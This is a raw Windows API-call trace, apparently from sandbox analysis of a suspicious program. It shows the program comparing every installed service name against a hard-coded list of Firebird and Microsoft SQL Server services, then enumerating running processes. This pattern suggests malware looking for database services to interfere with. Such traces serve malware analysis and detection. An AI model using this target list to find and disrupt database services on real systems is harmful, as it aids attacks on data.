	[0046.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0046.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0046.161] lstrlenW (lpString="CryptSvc") returned 8
	[0046.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0046.161] lstrlenW (lpString="DcomLaunch") returned 10
	[0046.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0046.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0046.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0046.162] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0046.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0046.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0046.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0046.162] lstrlenW (lpString="Dhcp") returned 4
	[0046.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0046.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0046.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0046.162] lstrlenW (lpString="Dnscache") returned 8
	[0046.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0046.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0046.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0046.162] lstrlenW (lpString="DoSvc") returned 5
	[0046.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0046.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0046.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0046.162] lstrlenW (lpString="DPS") returned 3
	[0046.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0046.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0046.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0046.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0046.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0046.163] lstrlenW (lpString="DusmSvc") returned 7
	[0046.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0046.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0046.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0046.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0046.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0046.163] lstrlenW (lpString="EventLog") returned 8
	[0046.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0046.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0046.163] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0046.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0046.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0046.163] lstrlenW (lpString="EventSystem") returned 11
	[0046.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0046.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0046.163] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0046.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0046.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0046.163] lstrlenW (lpString="FontCache") returned 9
	[0046.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0046.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0046.163] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0046.163] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0046.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0046.163] lstrlenW (lpString="gpsvc") returned 5
	[0046.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0046.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0046.163] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0046.164] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0046.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0046.164] lstrlenW (lpString="iphlpsvc") returned 8
	[0046.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0046.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0046.164] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0046.164] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0046.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0046.164] lstrlenW (lpString="KeyIso") returned 6
	[0046.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0046.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0046.164] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0046.164] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0046.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0046.164] lstrlenW (lpString="LanmanServer") returned 12
	[0046.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0046.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0046.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0046.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0046.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0046.164] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0046.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0046.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0046.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0046.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0046.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0046.164] lstrlenW (lpString="lfsvc") returned 5
	[0046.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0046.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0046.165] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0046.165] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0046.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0046.165] lstrlenW (lpString="lmhosts") returned 7
	[0046.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0046.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0046.165] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0046.165] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0046.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0046.165] lstrlenW (lpString="LSM") returned 3
	[0046.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0046.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0046.165] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0046.165] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0046.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0046.165] lstrlenW (lpString="MpsSvc") returned 6
	[0046.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0046.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0046.165] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0046.165] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0046.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0046.165] lstrlenW (lpString="NcbService") returned 10
	[0046.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0046.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0046.165] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0046.165] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0046.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0046.165] lstrlenW (lpString="netprofm") returned 8
	[0046.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0046.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0046.166] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0046.166] lstrlenW (lpString="NlaSvc") returned 6
	[0046.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0046.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0046.166] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0046.166] lstrlenW (lpString="nsi") returned 3
	[0046.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0046.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0046.166] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0046.166] lstrlenW (lpString="PcaSvc") returned 6
	[0046.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0046.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0046.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0046.166] lstrlenW (lpString="PlugPlay") returned 8
	[0046.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0046.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0046.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0046.166] lstrlenW (lpString="Power") returned 5
	[0046.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0046.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0046.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0046.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0046.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0046.167] lstrlenW (lpString="ProfSvc") returned 7
	[0046.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0046.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0046.167] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0046.167] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0046.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0046.167] lstrlenW (lpString="RpcEptMapper") returned 12
	[0046.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0046.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0046.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0046.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0046.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0046.167] lstrlenW (lpString="RpcSs") returned 5
	[0046.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0046.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0046.420] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0046.420] lstrlenW (lpString="SamSs") returned 5
	[0046.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0046.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0046.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0046.420] lstrlenW (lpString="Schedule") returned 8
	[0046.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0046.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0046.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0046.420] lstrlenW (lpString="SecurityHealthService") returned 21
	[0046.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0046.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0046.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0046.420] lstrlenW (lpString="SENS") returned 4
	[0046.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0046.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0046.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0046.420] lstrlenW (lpString="ShellHWDetection") returned 16
	[0046.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0046.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0046.420] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0046.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0046.420] lstrlenW (lpString="Spooler") returned 7
	[0046.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0046.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0046.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0046.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0046.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0046.421] lstrlenW (lpString="SSDPSRV") returned 7
	[0046.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0046.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0046.421] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0046.421] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0046.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0046.421] lstrlenW (lpString="StateRepository") returned 15
	[0046.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0046.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0046.421] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0046.421] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0046.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0046.421] lstrlenW (lpString="SysMain") returned 7
	[0046.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0046.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0046.421] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0046.421] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0046.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0046.421] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0046.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0046.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0046.421] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0046.421] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0046.421] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db700 | out: hHeap=0x650000) returned 1
	[0046.421] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c
	[0046.426] Process32FirstW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0046.426] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0046.427] lstrlenW (lpString="System") returned 6
	[0046.427] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0046.428] lstrlenW (lpString="smss.exe") returned 8
	[0046.428] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0046.428] lstrlenW (lpString="csrss.exe") returned 9
	[0046.428] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0046.429] lstrlenW (lpString="wininit.exe") returned 11
	[0046.429] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0046.430] lstrlenW (lpString="csrss.exe") returned 9
	[0046.430] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0046.430] lstrlenW (lpString="winlogon.exe") returned 12
	[0046.430] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0046.431] lstrlenW (lpString="services.exe") returned 12
	[0046.431] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0046.432] lstrlenW (lpString="lsass.exe") returned 9
	[0046.432] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.433] lstrlenW (lpString="svchost.exe") returned 11
	[0046.433] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0046.433] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0046.434] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0046.434] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0046.434] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.435] lstrlenW (lpString="svchost.exe") returned 11
	[0046.435] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0046.436] lstrlenW (lpString="dwm.exe") returned 7
	[0046.436] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.436] lstrlenW (lpString="svchost.exe") returned 11
	[0046.436] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.437] lstrlenW (lpString="svchost.exe") returned 11
	[0046.437] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.438] lstrlenW (lpString="svchost.exe") returned 11
	[0046.438] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.439] lstrlenW (lpString="svchost.exe") returned 11
